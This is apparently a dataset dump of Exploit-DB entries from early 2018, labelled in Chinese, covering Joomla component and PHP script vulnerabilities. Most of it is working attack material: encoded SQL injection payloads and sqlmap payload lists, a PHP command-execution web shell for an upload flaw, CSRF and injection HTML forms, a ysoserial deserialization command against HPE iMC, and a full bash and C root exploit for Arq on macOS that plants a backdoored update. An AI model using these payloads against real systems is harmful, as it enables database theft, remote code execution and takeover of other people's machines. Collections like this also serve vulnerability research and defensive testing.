QLWD/code_shield huggingface dataset:
标题: Joomla! Component Jimtawl 2.1.6 - Arbitrary File Upload EDB-ID: 43958 CVE: 2018-6580 类型: WEBAPPS 平台: PHP 发布日期: 2018-02-02 漏洞利用脚本: # # # # #
# Exploit Title: Joomla! Component Jimtawl 2.2.5 - Arbitrary File Upload
# Dork: N/A
# Date: 01.02.2018
# Vendor Homepage: http://janguo.de/
# Software Link: https://extensions.joomla.org/extensions/extension/multimedia/streaming-a-broadcasting/jimtawl/
# Software Download: http://janguo.de/lang-en/joomla-25-higher/jimtawl/pkg_jimtawl-2-2-5-current-r561-zip.raw
# Version: 2.2.5
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker upload arbitrary file....
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/index.php?option=com_jimtawl&view=upload&task=upload&pop=true&tmpl=component
# 
# http://localhost/[PATH]/media/efe_1517496506.php
# 
# # # # # URL: https://www.exploit-db.com/exploits/43958
标题: Wonder CMS 2.3.1 - Unrestricted File Upload EDB-ID: 43963 CVE: 2017-14521 类型: WEBAPPS 平台: PHP 发布日期: 2018-02-05 漏洞利用脚本: Affected Code:

public static function _uploadFile() { +
- if ( ! wCMS::$loggedIn && ! isset($_FILES['uploadFile']) && ! isset($_REQUEST['token'])) return; + private static function uploadFileAction()
- if (isset($_REQUEST['token']) && $_REQUEST['token'] == wCMS::_generateToken() && isset($_FILES['uploadFile'])) {


Proof of Concept
Steps to Reproduce:
 
1. Login with a valid credentials
2. Select Files option from the Settings menu of Content
3. Upload a file with php extension containing the below code:
 
           <?php
 
 $cmd=$_GET['cmd'];
 
 system($cmd);
 
 ?>
 
4. Click on Upload
5. Once the file is uploaded Click on the uploaded file and add ?cmd= to
the URL followed by a system command such as whoami,time,date etc.
Example:
http://localhost:8081/wondercms/files/shell.php?cmd=dir

Recommended Patch:

Create a whitelist of allowed filetypes.

The patch that addresses this bug is available here:

https://github.com/robiso/WonderCMS-testRepo/commit/8bd6cf9f3bf6a1d0123eb8b646584a63ee323c8a?diff=split

At line 742 URL: https://www.exploit-db.com/exploits/43963
标题: Wonder CMS 2.3.1 - 'Host' Header Injection EDB-ID: 43964 CVE: 2017-14523 类型: WEBAPPS 平台: PHP 发布日期: 2018-02-05 漏洞利用脚本: # Exploit Title: Wonder CMS 2.3.1 Host Header Injection
# Date: 30-01-2018
# Exploit Author: Samrat Das
# Contact: http://twitter.com/Samrat_Das93
# Website: https://securitywarrior9.blogspot.in/
# Vendor Homepage: https://www.wondercms.com/
# Version: 2.3.1
# CVE : CVE-2017-14523
# Category: Webapp CMS

1. Description

The application allows illegitimate host header manipulation and leads to aribtary web page re-direction. This can also lead to severe attacks such as password reset or web cache poisoning

 
   
2. Proof of Concept

Intercept any web request of cms using a proxy tool. 
Change the http host header to: 
POST / HTTP/1.1
Host: google.com

You can observe the page being re-directed and the Location header changed in response to: http://www.google.com/ 
   
3. Solution:
   
To Mitigate host header injections allows only a whitelist of allowed hostnames. URL: https://www.exploit-db.com/exploits/43964
标题: Joomla! Component JEXTN Reverse Auction 3.1.0 - SQL Injection EDB-ID: 43950 CVE: 2018-6579 类型: WEBAPPS 平台: PHP 发布日期: 2018-02-02 漏洞利用脚本: # # # # #
# Exploit Title: Joomla! Component JEXTN Reverse Auction 3.1.0 - SQL Injection
# Dork: N/A
# Date: 01.02.2018
# Vendor Homepage: http://jextn.com/
# Software Link: https://extensions.joomla.org/extensions/extension/e-commerce/auction/jextn-reverse-auction/
# Version: 3.1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/index.php?option=com_jereverseauction&view=products&layout=default_message&tmpl=component&id=[SQL]&uid=1
# 
# %2d%31%20%20%2f%2a%21%30%38%38%38%38%55%4e%49%4f%4e%2a%2f%20%2f%2a%21%30%38%38%38%38%53%45%4c%45%43%54%2a%2f%20%30%78%33%31%2c%30%78%33%32%2c%30%78%33%33%2c%30%78%33%34%2c%30%78%33%35%2c%28%53%65%6c%65%63%74%20%65%78%70%6f%72%74%5f%73%65%74%28%35%2c%40%3a%3d%30%2c%28%73%65%6c%65%63%74%20%63%6f%75%6e%74%28%2a%29%66%72%6f%6d%28%69%6e%66%6f%72%6d%61%74%69%6f%6e%5f%73%63%68%65%6d%61%2e%63%6f%6c%75%6d%6e%73%29%77%68%65%72%65%40%3a%3d%65%78%70%6f%72%74%5f%73%65%74%28%35%2c%65%78%70%6f%72%74%5f%73%65%74%28%35%2c%40%2c%74%61%62%6c%65%5f%6e%61%6d%65%2c%30%78%33%63%36%63%36%39%33%65%2c%32%29%2c%63%6f%6c%75%6d%6e%5f%6e%61%6d%65%2c%30%78%61%33%61%2c%32%29%29%2c%40%2c%32%29%29%2d%2d%20%2d
#  
# # # # # URL: https://www.exploit-db.com/exploits/43950
标题: Event Manager 1.0 - SQL Injection EDB-ID: 43949 CVE: 2018-6576 类型: WEBAPPS 平台: PHP 发布日期: 2018-02-02 漏洞利用脚本: # # # # #
# Exploit Title: Event Manager PHP Script 1.0 - SQL Injection
# Dork: N/A
# Date: 01.02.2018
# Vendor Homepage: http://ezcode.pt/
# Software Link: https://codecanyon.net/item/eventmanager-php-script-admin-panel/21280741
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/event.php?id=[SQL]
# 
# 2)
# http://localhost/[PATH]/page.php?slug=[SQL]
#  
# # # # # URL: https://www.exploit-db.com/exploits/43949
标题: Joomla! Component JEXTN Membership 3.1.0 - 'usr_plan' SQL Injection EDB-ID: 43940 CVE: 2018-6577 类型: WEBAPPS 平台: PHP 发布日期: 2018-02-02 漏洞利用脚本: <!--
# # # # #
# Exploit Title: Joomla! Component JEXTN Membership 3.1.0 - SQL Injection
# Dork: N/A
# Date: 01.02.2018
# Vendor Homepage: http://www.jextn.com/
# Software Link: https://extensions.joomla.org/extensions/extension/e-commerce/membership-a-subscriptions/jextn-membership/
# Version: 3.1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 1) 
# # # # #
-->
<html>
<body>
<form action="http://localhost/index.php?option=com_jemembership&view=myplans&task=myplans.usersubscriptions" method="post">
<input name="usr_plan" value="(SELECT 66 FROM(SELECT COUNT(*),CONCAT(CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),(SELECT (ELT(1=1,1))),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)" type="hidden">
<input type="submit" value="Ver Ayari">
</form>
</body>
</html> URL: https://www.exploit-db.com/exploits/43940
标题: Joomla! Component JE PayperVideo 3.0.0 - 'usr_plan' SQL Injection EDB-ID: 43948 CVE: 2018-6578 类型: WEBAPPS 平台: PHP 发布日期: 2018-02-02 漏洞利用脚本: <!--
# # # # #
# Exploit Title: Joomla! Component JE PayperVideo 3.0.0 - SQL Injection
# Dork: N/A
# Date: 01.02.2018
# Vendor Homepage: http://www.jextn.com/
# Software Link: https://extensions.joomla.org/extensions/extension/multimedia/multimedia-players/je-paypervideo/
# Software Download: http://www.jextn.com/index.php?option=com_docman&task=doc_download&gid=145&Itemid=276
# Version: 3.0.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 1) 
# # # # #
-->
<html>
<body>
<form action="http://localhost/[PATH]/index.php?option=com_jepaypervideo&view=myplans&task=myplans.usersubscriptions" method="post">
<input name="usr_plan" value="(SELECT 66 FROM(SELECT COUNT(*),CONCAT(CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),(SELECT (ELT(1=1,1))),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)" type="hidden">
<input type="submit" value="Ver Ayari">
</form>
</body>
</html> URL: https://www.exploit-db.com/exploits/43948
标题: Joomla! Component JEXTN Classified 1.0.0 - 'sid' SQL Injection EDB-ID: 43957 CVE: 2018-6575 类型: WEBAPPS 平台: PHP 发布日期: 2018-02-02 漏洞利用脚本: # # # # #
# Exploit Title: Joomla! Component JEXTN Classified 1.0.0 - SQL Injection
# Dork: N/A
# Date: 01.02.2018
# Vendor Homepage: http://jextn.com/
# Software Link: https://extensions.joomla.org/extensions/extension/ads-a-affiliates/classified-ads/jextn-classified/
# Version: 1.0.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/index.php?option=com_jeclassifieds&view=boutique&sid=[SQL]
# 
# %2d%32%38%30%30%27%20%20%2f%2a%21%31%33%33%33%37%55%4e%49%4f%4e%2a%2f%28%2f%2a%21%31%33%33%33%37%53%45%4c%45%43%54%2a%2f%28%31%29%2c%28%32%29%2c%28%53%65%6c%65%63%74%20%65%78%70%6f%72%74%5f%73%65%74%28%35%2c%40%3a%3d%30%2c%28%73%65%6c%65%63%74%20%63%6f%75%6e%74%28%2a%29%66%72%6f%6d%28%69%6e%66%6f%72%6d%61%74%69%6f%6e%5f%73%63%68%65%6d%61%2e%63%6f%6c%75%6d%6e%73%29%77%68%65%72%65%40%3a%3d%65%78%70%6f%72%74%5f%73%65%74%28%35%2c%65%78%70%6f%72%74%5f%73%65%74%28%35%2c%40%2c%74%61%62%6c%65%5f%6e%61%6d%65%2c%30%78%33%63%36%63%36%39%33%65%2c%32%29%2c%63%6f%6c%75%6d%6e%5f%6e%61%6d%65%2c%30%78%61%33%61%2c%32%29%29%2c%40%2c%32%29%29%2c%28%34%29%2c%28%35%29%2c%28%36%29%2c%28%37%29%2c%28%38%29%2c%28%39%29%2c%28%31%30%29%2c%28%31%31%29%2c%28%31%32%29%2c%28%31%33%29%2c%28%31%34%29%2c%28%31%35%29%2c%28%31%36%29%2c%28%31%37%29%2c%28%31%38%29%2c%28%31%39%29%2c%28%32%30%29%2c%28%32%31%29%2c%28%32%32%29%2c%28%32%33%29%2c%28%32%34%29%2c%28%32%35%29%2c%28%32%36%29%29%2d%2d%20%2d
#  
# # # # # URL: https://www.exploit-db.com/exploits/43957
标题: Joomla! Component CP Event Calendar 3.0.1 - 'id' SQL Injection EDB-ID: 43932 CVE: 2018-6398 类型: WEBAPPS 平台: PHP 发布日期: 2018-01-30 漏洞利用脚本: # # # # #
# Exploit Title: Joomla! Component CP Event Calendar 3.0.1 - SQL Injection
# Dork: N/A
# Date: 30.01.2018
# Vendor Homepage: http://www.joomlacalendars.com/
# Software Link: https://extensions.joomla.org/extensions/extension/calendars-a-events/events/cp-event-calendar/
# Version: 3.0.1
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-6398
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/index.php?option=com_cpeventcalendar&task=load&id=[SQL]
# 
# %2d%31%20%20%2f%2a%21%30%36%36%36%36%55%4e%49%4f%4e%2a%2f%20%2f%2a%21%30%36%36%36%36%53%45%4c%45%43%54%2a%2f%20CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION())%2c%32%2c%33%2c%34%2c%35%2c%36%2c%37%2d%2d%20%2d
# 
# Parameter: id (GET)
#     Type: boolean-based blind
#     Title: AND boolean-based blind - WHERE or HAVING clause
#     Payload: option=com_cpeventcalendar&task=load&id=1 AND 6741=6741
# 
#     Type: error-based
#     Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
#     Payload: option=com_cpeventcalendar&task=load&id=1 AND (SELECT 7531 FROM(SELECT COUNT(*),CONCAT(0x716a707671,(SELECT (ELT(7531=7531,1))),0x717a6a7a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
# 
#     Type: AND/OR time-based blind
#     Title: MySQL <= 5.0.11 AND time-based blind (heavy query - comment)
#     Payload: option=com_cpeventcalendar&task=load&id=1 AND 3954=BENCHMARK(5000000,MD5(0x4573626a))#
# 
#     Type: UNION query
#     Title: Generic UNION query (NULL) - 7 columns
#     Payload: option=com_cpeventcalendar&task=load&id=1 UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x716a707671,0x4a61716b6d59557a4f5a496f7676584d57444e514d4d78626d42546e786d79747350424271687555,0x717a6a7a71),NULL,NULL,NULL-- cJFi
# 
# # # # # URL: https://www.exploit-db.com/exploits/43932
标题: HPE iMC 7.3 - RMI Java Deserialization EDB-ID: 43927 CVE: 2017-5792 类型: REMOTE 平台: WINDOWS 发布日期: 2018-01-30 漏洞利用脚本: # Exploit Title: HPE iMC 7.3 Java RMI Registry Deserialization RCE Vulnerability
# Date: 01-28-2018
# Exploit Author: Chris Lyne (@lynerc)
# Vendor Homepage: www.hpe.com
# Software Link: https://h10145.www1.hpe.com/Downloads/DownloadSoftware.aspx?SoftwareReleaseUId=19068&ProductNumber=JG747AAE&lang=en&cc=us&prodSeriesId=4176535&SaidNumber=
# Version: iMC PLAT v7.3 (E0504) Standard
# Tested on: Windows Server 2008 R2 Enterprise 64-bit
# CVE : CVE-2017-5792
# See Also: http://zerodayinitiative.com/advisories/ZDI-18-137/

# note that this PoC will launch calc.exe

$ java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.RMIRegistryExploit 192.168.1.100 21195 CommonsBeanutils1 calc.exe URL: https://www.exploit-db.com/exploits/43927
标题: Joomla! Component Visual Calendar 3.1.3 - 'id' SQL Injection EDB-ID: 43933 CVE: 2018-6395 类型: WEBAPPS 平台: PHP 发布日期: 2018-01-30 漏洞利用脚本: # # # # #
# Exploit Title: Joomla! Component Visual Calendar 3.1.3 - SQL Injection
# Dork: N/A
# Date: 30.01.2018
# Vendor Homepage: http://www.joomlacalendars.com/
# Software Link: https://extensions.joomla.org/extensions/extension/calendars-a-events/events/visual-calendar/
# Version: 3.1.3
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-6395
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/index.php?option=com_visualcalendar&view=load&id=[SQL]
# 
# -1%20%20/*!06666UNION*/%20/*!06666SELECT*/%20(SELECT(@x)FROM(SELECT(@x:=0x00),(@NR:=0),(SELECT(0)FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA!=0x696e666f726d6174696f6e5f736368656d61)AND(0x00)IN(@x:=CONCAT(@x,LPAD(@NR:=@NR%2b1,4,0x30),0x3a20,table_name,0x3c62723e))))x)%2c0x32%2c0x33%2c0x34%2c0x35%2c0x36%2d%2d%20%2d
# 
# -1%20%20/*!06666UNION*/%20/*!06666SELECT*/%201%2c0x32%2c(SELECT(@x)FROM(SELECT(@x:=0x00),(@NR:=0),(SELECT(0)FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA!=0x696e666f726d6174696f6e5f736368656d61)AND(0x00)IN(@x:=CONCAT(@x,LPAD(@NR:=@NR%2b1,4,0x30),0x3a20,table_name,0x3c62723e))))x)%2c0x34%2c0x35%2c0x36%2d%2d%20%2d
# 
# Parameter: id (GET)
#     Type: boolean-based blind
#     Title: AND boolean-based blind - WHERE or HAVING clause
#     Payload: r=0.31729071866720915&option=com_visualcalendar&view=load&id=1 AND 2616=2616
# 
#     Type: AND/OR time-based blind
#     Title: MySQL >= 5.0.12 AND time-based blind
#     Payload: r=0.31729071866720915&option=com_visualcalendar&view=load&id=1 AND SLEEP(5)
# 
#     Type: UNION query
#     Title: Generic UNION query (NULL) - 6 columns
#     Payload: r=0.31729071866720915&option=com_visualcalendar&view=load&id=1 UNION ALL SELECT CONCAT(0x716a627a71,0x586a6c7676787a6f684c73745863744b7955784a47534d58797158564a53716d6b57434f6141536c,0x71786b6a71),NULL,NULL,NULL,NULL,NULL-- QpYd
# 
# # # # # URL: https://www.exploit-db.com/exploits/43933
标题: Buddy Zone 2.9.9 - SQL Injection EDB-ID: 43918 CVE: 2018-6367 类型: WEBAPPS 平台: PHP 发布日期: 2018-01-28 漏洞利用脚本: # # # # # 
# Exploit Title: Vastal I-Tech Facebook Clone 2.9.9 - SQL Injection
# Dork: N/A
# Date: 27.01.2018
# Vendor Homepage: http://vastal.com/
# Software Link: http://vastal.com/buddy-zone-social-networking-script.html
# Version: 2.9.9
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an users to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/chat_im/chat_window.php?request_id=[SQL]
# 
# -551++/*!13337UNION*/+/*!13337SELECT*/+1,(Select+export_set(5,@:=0,(select+count(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,table_name,0x3c6c693e,2),column_name,0xa3a,2)),@,2)),3,4,5,6,7,8,9--+-
# 
# http://localhost/[PATH]/search_events.php?category=[SQL]
# 
# # # # # URL: https://www.exploit-db.com/exploits/43918
标题: Joomla! Component Picture Calendar for Joomla! 3.1.4 - Directory Traversal EDB-ID: 43931 CVE: 2018-6397 类型: WEBAPPS 平台: PHP 发布日期: 2018-01-30 漏洞利用脚本: # # # # #
# Exploit Title: Joomla! Component Picture Calendar for Joomla 3.1.4 - Directory Traversal
# Dork: N/A
# Date: 30.01.2018
# Vendor Homepage: http://www.joomlacalendars.com/
# Software Link: https://extensions.joomla.org/extensions/extension/calendars-a-events/events/picture-calendar-for-joomla/
# Version: 3.1.4
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-6397
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# Directory Traversal...
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/list.php?folder=[DIRECTORY]
# 
# # # # # URL: https://www.exploit-db.com/exploits/43931
标题: Arq 5.10 - Local Privilege Escalation (2) EDB-ID: 43926 CVE: 2017-16945 类型: LOCAL 平台: MACOS 发布日期: 2018-01-29 漏洞利用脚本: #!/bin/bash

#################################################################
###### Arq <= 5.10 local root privilege escalation exploit ######
###### by m4rkw - https://m4.rkw.io/blog.html              ######
#################################################################

app="/Applications/Arq.app"
res="$app/Contents/Resources"
lires="$app/Contents/Library/LoginItems/Arq Agent.app/Contents/Resources"

vuln=`ls -la "$lires/arq_updater" |grep '\-rws' |grep root`

if [ "$vuln" == "" ] ; then
  echo "Not vulnerable - auto-updates not enabled."
  exit 1
fi

if [ "$1" != "-f" ] ; then
  latest_logfile="`ls -1t ~/Library/Logs/Arq\ Agent/ |head -n1`"
  status_line="`egrep -i 'backup session.*?(ended|started)' \
    \"$HOME/Library/Logs/Arq Agent/$latest_logfile\" |tail -n1 |grep -i started`"

  if [ "$status_line" != "" ] ; then
    echo -n "WARNING: backup in progress, the user will very "
    echo "likely notice if we exploit now!"
    echo "use -f to override."
    exit 1
  fi
fi

owd="`pwd`"

if [ -e ~/.arq_510_privesc_exp ] ; then
  rm -rf ~/.arq_510_privesc_exp
fi

mkdir ~/.arq_510_privesc_exp
cd ~/.arq_510_privesc_exp

echo "copying application..."

cp -R /Applications/Arq.app .

echo "compiling payloads..."

cat > payload.sh <<EOF
#!/bin/bash
rm -rf $HOME/.arq_510_privesc_exp
while :
do
  pid=\`ps auxwww |grep '$app/Contents/MacOS/Arq' |grep -v grep |xargs \
    |cut -d ' ' -f2\`
  if [ "\$pid" != "" ] ; then
    kill -9 \$pid
    open $app/Contents/Library/LoginItems/Arq\ Agent.app
    exit 0
  fi
done
EOF
chmod 755 payload.sh

au_relative=`echo "$lires/standardrestorer" |sed 's/^\/Applications\///'`

cat > shell.c <<EOF
#include <unistd.h>
#include <string.h>
int main(int ac, char *av[])
{
  if (ac > 1 && strcmp(av[1], "boom") == 0) {
    setuid(0);
    setgid(0);
    execl(
      "/bin/bash","bash","-c","mv -f $res/standardrestorer.orig $res/standardr"
      "estorer;chmod 4755 $res/standardrestorer;$HOME/.arq_510_privesc_exp/pay"
      "load.sh;/bin/bash", NULL
    );
  }
  return 0;
}
EOF
mv Arq.app/Contents/Resources/standardrestorer \
  Arq.app/Contents/Resources/standardrestorer.orig
gcc -o Arq.app/Contents/Resources/standardrestorer shell.c
rm -f shell.c

payload_size=`stat Arq.app/Contents/Resources/standardrestorer |cut -d ' ' -f8`
GID=`id |sed 's/^.*gid=//' |cut -d '(' -f1`
cwd=`pwd`

echo "creating backdoored Arq.zip..."
zip -1r Arq.zip Arq.app/ 1>/dev/null 2>/dev/null
rm -rf Arq.app/

echo "executing upgrade..."

"$lires/arq_updater" installupdate file://$cwd/Arq.zip $UID $GID YES \
  1>/dev/null 2>/dev/null

echo "waiting..."
while :
do
  ac_size=`stat $res/standardrestorer 2>/dev/null |cut -d ' ' -f8`
  x=`ls -la $res/standardrestorer |grep -- '-rwsr-xr-x' |grep root`

  if [ "$ac_size" == "$payload_size" -a "$x" != "" ] ; then
    cd "$owd"
    $res/standardrestorer boom
    exit 0
  fi
  sleep 0.2
done URL: https://www.exploit-db.com/exploits/43926
标题: KeystoneJS < 4.0.0-beta.7 - Cross-Site Request Forgery EDB-ID: 43922 CVE: 2017-16570 类型: WEBAPPS 平台: NODEJS 发布日期: 2018-01-28 漏洞利用脚本: # Exploit Title: Application wide CSRF Bypass
# Date: Sep, 2017
# Exploit Author: Saurabh Banawar
# Vendor Homepage: http://keystonejs.com/
# Software Link: https://github.com/keystonejs/keystone
# Version: 4.0.0
# Tested on: Windows 8.1
# CVE : 2017-16570


Link: https://vuldb.com/?id.109170


Exploit:

<html>
 <body>
 <form action="http://127.0.0.1:3000/keystone/api/users/create" method="POST"
enctype="multipart/form-data">
 <input type="hidden" name="name&#46;first" value="Saurabh" />
 <input type="hidden" name="name&#46;last" value="Banawar" />
 <input type="hidden" name="email"
value="saurabh&#46;banawar&#64;securelayer7&#46;net" />
 <input type="hidden" name="password" value="test" />
 <input type="hidden" name="password&#95;confirm" value="test" />
 <input type="submit" value="Submit request" />
 </form>
 </body>
</html> URL: https://www.exploit-db.com/exploits/43922
标题: Multilanguage Real Estate MLM Script 3.0 - 'srch' SQL Injection EDB-ID: 43917 CVE: 2018-6364 类型: WEBAPPS 平台: PHP 发布日期: 2018-01-28 漏洞利用脚本: # # # # # 
# Exploit Title: Multilanguage Real Estate MLM Script <= 3.0 - SQL Injection
# Dork: N/A
# Date: 27.01.2018
# Vendor Homepage: http://www.phpscriptsmall.com/
# Software Link: http://www.exclusivescript.com/product/y2OP4658391/php-scripts/multilanguage-real-estate-mlm-script
# Version: <= 3.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/product-list.php?srch=[SQL]
# 
# %73%66%64%27%29%20%20%2f%2a%21%30%38%38%38%38%55%4e%49%4f%4e%2a%2f%28%2f%2a%21%30%38%38%38%38%53%45%4c%45%43%54%2a%2f%20%28%31%29%2c%28%32%29%2c%43%4f%4e%43%41%54%5f%57%53%28%30%78%32%30%33%61%32%30%2c%55%53%45%52%28%29%2c%44%41%54%41%42%41%53%45%28%29%2c%56%45%52%53%49%4f%4e%28%29%29%2c%28%34%29%29%2d%2d%20%2d
# 
# # # # # URL: https://www.exploit-db.com/exploits/43917